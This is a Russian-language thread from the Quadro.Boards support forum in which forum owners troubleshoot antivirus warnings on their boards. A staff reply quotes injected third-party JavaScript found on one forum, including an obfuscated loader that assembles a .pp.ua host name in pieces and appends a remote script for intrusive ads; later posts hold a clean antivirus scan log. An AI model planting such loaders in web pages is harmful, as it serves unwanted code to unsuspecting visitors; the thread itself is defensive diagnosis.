Техническая поддержка сервиса Quadro.Boards |
Новости сервиса |
О форуме
Quadro.Support – это форум технической поддержки различных проектов и сервисов Quadro.Systems LLC,
на котором грамотные технические специалисты всегда смогут помочь вам в решении проблем, или же подсказать ответы на самые сложные вопросы.
Так же на форуме собрана обширная база знаний по различным аспектам наших сервисов. Не забывайте пользоваться поиском ;)
|
Полезные ссылки |
Привет, Гость! Войдите или зарегистрируйтесь.
Вы здесь » Техническая поддержка сервиса Quadro.Boards » Архив » Вредоносная ссылка на форуме(
Извиняюсь, если не в тот раздел.
Такая проблема, у пользователя на форуме появляется окно с предупреждением, на которое резко реагирует Каспер. Окно это появляется только на этом форуме, на других нормально. Я так понимаю, что если бы что-то было в настройках форума, то это окно появлялось бы у всех, но оно появляется только у одного-двух-трёх пользователей.
Подскажите, куда копать, что это может быть.
Скрин реакции Каспера:
Адрес форума http://vozrastx.anihub.ru/
Nikolai4
Вот этот скрипт
<script src="http://nrb.rbc.pp.ua/swfobj2.js" language="JavaScript"></script>
генерит сие
document.write('<script language="javascript" src="http://wave.mp3.pp.ua/ijayax.js"></script>');
что в свою очередь плодит противную рекламу (сообщение в нижнем левом углу)
(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://'+'rbc.'+'rbc.'+'pp.'+'ua'+'/?966793=_bT9-6_r5ebq4uDt-rS4sL0';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);
Если скрипта <script src="http://nrb.rbc.pp.ua/swfobj2.js" language="JavaScript"></script> не установлено у Вас в хтмл-верх, возможно его генерит какой-то из других сторонних скриптов, установленных там же.
Советую отфильтровать все установленное на форуме и стараться использовать только те скрипты, которые выкладываются на форумах поддержки пользователей или попросить модераторов таких форумов помочь Вам с поиском тех или иных скриптов.
Использование сторонних скриптов может быть небезопасно для Вашего форума, Вас и Ваших пользователей!
Понятно, спасибо.
Но опять вопрос, если это генерит скрипт на форуме, почему же вредоносное окно видят не все пользователи?
Указанного скрипта в настройках нет.
Отредактировано Nikolai4 (31.12.2012 01:30:26)
Nikolai4
У некоторых браузеры блокируют окно, у других файерволл не позволяет этим окнам появляться. Есть ряд причин, по которым окно видят не все.
Понятно. Уже убираю потихоньку последние поставленные скрипты, как говорится "будем посмотреть".
Спасибо за поддержку. С наступающим Новым годом!
Nikolai4
И Вас)
Всё решилось. Виноваты были скрипты:
<script language="JavaScript" src="http://101widgets.com/0000093b/550/100"></script>
<script language="JavaScript" src="http://101widgets.com/01001012/100/100"></script>
Не ставьте скрипты с этого ресурса.
С Новым годом всех) Та же проблема, не пустил человека на сайт антивирусник (тренд микро интернет секьюрити)
Пишет (перевод с итальянского):
Веб-сайт, который вы хотите посетить, чтобы передавать вредоносное программное обеспечение на компьютер, или он мог бы это сделать с другим пользователем. Может быть также вовлечены в интернет-мошенничества или обмана.
Проверил др. Вебом, вирусов не обнаружено на сайте, но куча каких-то скриптов, которых у меня не стоит.
Проверка: http://i.rusff.me/f/ru/rusff/lib.js?1
Размер файла: 2960 байт
MD5 файла: 0cb9587f0bd4695701244078925a76b7http://i.rusff.me/f/ru/rusff/lib.js?1 - archive JS-HTML
>http://i.rusff.me/f/ru/rusff/lib.js?1/JSFile_1[0][b90] - Ok
http://i.rusff.me/f/ru/rusff/lib.js?1 - OkПроверка: http://i.rusff.me/f/ru/rusff/jquery.jgrowl_minimized.js
Размер файла: 5769 байт
MD5 файла: 837bfba6c079ab2b86b3da9f01fcd434http://i.rusff.me/f/ru/rusff/jquery.jgrowl_minimized.js - Ok
Проверка: http://i.rusff.me/f/ru/rusff/jquery.tex … pressed.js
Размер файла: 1322 байт
MD5 файла: 4e26361248141531f2089fcc9f992d48http://i.rusff.me/f/ru/rusff/jquery.tex … pressed.js - archive JS-HTML
>http://i.rusff.me/f/ru/rusff/jquery.textarearesizer.compressed.js/JSFile_1[0][52a] - Ok
http://i.rusff.me/f/ru/rusff/jquery.tex … pressed.js - OkПроверка: http://yandex.st/jquery/1.4.4/jquery.min.js
Размер файла: 76.76 КБ
MD5 файла: 73a9c334c5ca71d70d092b42064f6476http://yandex.st/jquery/1.4.4/jquery.min.js - archive JS-HTML
>http://yandex.st/jquery/1.4.4/jquery.min.js/JSTag_1[e9a6][4963] - Ok
http://yandex.st/jquery/1.4.4/jquery.min.js - OkПроверка: http://i.rusff.me/f/ru/rusff/quadro.core.js?v4.12
Размер файла: 102.99 КБ
MD5 файла: 517336fd47ccea21b7cc9cbf760f413bhttp://i.rusff.me/f/ru/rusff/quadro.core.js?v4.12 - archive JS-HTML
>http://i.rusff.me/f/ru/rusff/quadro.core.js?v4.12/IFrame_1[13] - Ok
http://i.rusff.me/f/ru/rusff/quadro.core.js?v4.12 - OkПроверка: http://i.rusff.me/f/ru/rusff/rusff.live.js?14
Размер файла: 8324 байт
MD5 файла: e2ffdfb44d17ebbdfbe3c3a09a535412http://i.rusff.me/f/ru/rusff/rusff.live.js?14 - Ok
Проверка: http://pagead2.googlesyndication.com/pagead/show_ads.js
Размер файла: 13.49 КБ
MD5 файла: 62241d7ce7a2c0e7d4c7f0772ad42883http://pagead2.googlesyndication.com/pagead/show_ads.js - Ok
Проверка: http://st1.bbcorp.ru/js/jquery.tipsy.min.js
Размер файла: 3565 байт
MD5 файла: 7d74a44a7988c34d75ee91ac3d445f40http://st1.bbcorp.ru/js/jquery.tipsy.min.js - Ok
Проверка: http://i.rusff.me/f/ru/rusff/custom_rusff.js
Размер файла: 2868 байт
MD5 файла: ea0e2e55c36426cb01f863c520dbc09ahttp://i.rusff.me/f/ru/rusff/custom_rusff.js - archive JS-HTML
>http://i.rusff.me/f/ru/rusff/custom_rusff.js/JSFile_1[0][b34] - Ok
http://i.rusff.me/f/ru/rusff/custom_rusff.js - OkПроверка: http://i.rusff.me/f/ru/rusff/uppod.js
Размер файла: 78.87 КБ
MD5 файла: 68c5ff99b30ce6ad8fb911948c384acdhttp://i.rusff.me/f/ru/rusff/uppod.js - Ok
Проверка: http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js
Размер файла: 5862 байт
MD5 файла: 5c230f222754561afe90d6051d74ca2bhttp://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js - archive JS-HTML
>http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js/JSFile_1[0][16e6] - Ok
http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js - OkПроверка: http://yandex.st/swfobject/2.2/swfobject.min.js
Размер файла: 10220 байт
MD5 файла: 892a543f3abb54e8ec1ada55be3b0649http://yandex.st/swfobject/2.2/swfobject.min.js - Ok
Проверка: http://extasy.rusff.me/
Версия антивирусного ядра: 7.0.4.9250
Вирусных записей: 3528218
Размер файла: 44.65 КБ
MD5 файла: 3d68e7100152d70156f6bf5993dabb86http://extasy.rusff.me/ - archive JS-HTML
>http://extasy.rusff.me//JSTAG_1[153][244] - Ok
>http://extasy.rusff.me//JSTAG_2[892][9b] - Ok
>http://extasy.rusff.me//JSTAG_3[9b8][111] - Ok
>http://extasy.rusff.me//JSTAG_4[b47][8d] - Ok
>http://extasy.rusff.me//JSTAG_5[f0d][d2d] - Ok
>http://extasy.rusff.me//JSTAG_6[1c6b][46] - Ok
>http://extasy.rusff.me//JSTAG_7[1cdf][a8] - Ok
>http://extasy.rusff.me//JSTAG_8[1db5][874] - Ok
>http://extasy.rusff.me//JSTAG_9[2719][143] - Ok
>http://extasy.rusff.me//JSTAG_10[306b][1d8] - Ok
>http://extasy.rusff.me//JSTAG_11[329a][49] - Ok
>http://extasy.rusff.me//JSTAG_12[330c][131] - Ok
>http://extasy.rusff.me//JSTAG_13[3823][1b1] - Ok
>http://extasy.rusff.me//JSTAG_14[4e9b][1be] - Ok
>http://extasy.rusff.me//JSTAG_15[7ccb][9c] - Ok
>http://extasy.rusff.me//JSTAG_16[7fab][14c] - Ok
>http://extasy.rusff.me//JSTAG_17[8626][4b4] - Ok
>http://extasy.rusff.me//JSTAG_18[8c51][7a] - Ok
>http://extasy.rusff.me//JSTAG_19[8d89][1be] - Ok
>http://extasy.rusff.me//JSTAG_20[8ffd][1fb] - Ok
>http://extasy.rusff.me//JSTAG_21[928f][128] - Ok
>http://extasy.rusff.me//JSTAG_22[947a][262] - Ok
>http://extasy.rusff.me//JSTAG_23[9706][152] - Ok
>http://extasy.rusff.me//JSTAG_24[9afd][6c1] - Ok
>http://extasy.rusff.me//JSTAG_25[a303][40f] - Ok
>http://extasy.rusff.me//JSTAG_26[a780][108] - Ok
>http://extasy.rusff.me//JSTAG_27[a8b2][9cb] - Ok
>http://extasy.rusff.me//JSTag_28[329f][44] - Ok
>http://extasy.rusff.me//JSTag_29[3311][12c] - Ok
>http://extasy.rusff.me//JSTag_30[7cd0][97] - Ok
>http://extasy.rusff.me//JSTag_31[9bb9][605] - Ok
>http://extasy.rusff.me//IFrame_32[13] - Ok
>http://extasy.rusff.me//JSEvent_33[65] - Ok
http://extasy.rusff.me/ - Ok
Подскажите, что надо убирать и, главное, как?
Отредактировано Ichimaru Gin (02.01.2013 15:07:35)
Ichimaru Gin
Большинство скриптов, которые Вы обнаружили, это скрипты, установленные сервисом.
Не стоит их убирать 
Какие-нибудь всплывающие окна или странное поведение ссылок/кнопок (переадресация, кнопки не нажимаются и т.п.) не наблюдалось у того пользователя?
Может ли он сделать скриншот того, что происходит, когда пытается зайти на форум? Какой у него браузер?
Встречалось ли у кого-то еще подобное?
На первый взгляд - все в норме.
Скрина сделать не может, с ноута. Браузер Мозила.
Больше ни у кого, но слишком мало человек заходили, мало ли...
Говорит:
> у меня если включён этот тенд микро он просто не пускает на страницу и вместо нужной вывешивает предупреждение
Никаких других странных действий на компе не происходит.
Попросил открыть сайт поддержки. Квадробордс не открылся, а мубб открылся)
Полагаю, что дело не в мистических скриптах на моем сайте 
Так что ну его к лешему)))
Скрина сделать не может, с ноута.
Чем ноут мешает сделать скрин? ) Может на какой-то скрипт от квадробоардс реагирует. Надо бы посмотреть на что он конкретно ругается, думаю в недрах антивируса это можно найти.
А на какие-нибудь другие сайты квадробоардс он вообще может зайти?
sadhaka
Я так понял, что не может никуда из форумов квадробордс, да и некоторые другие хостинги тоже не нравятся его антивируснику. Но разбираться дальше нет возможности, пользователь пропадающий) Если появится, я попробую попросить продолжить исследования)
Спасибо за вникание в проблемы)))
Вы здесь » Техническая поддержка сервиса Quadro.Boards » Архив » Вредоносная ссылка на форуме(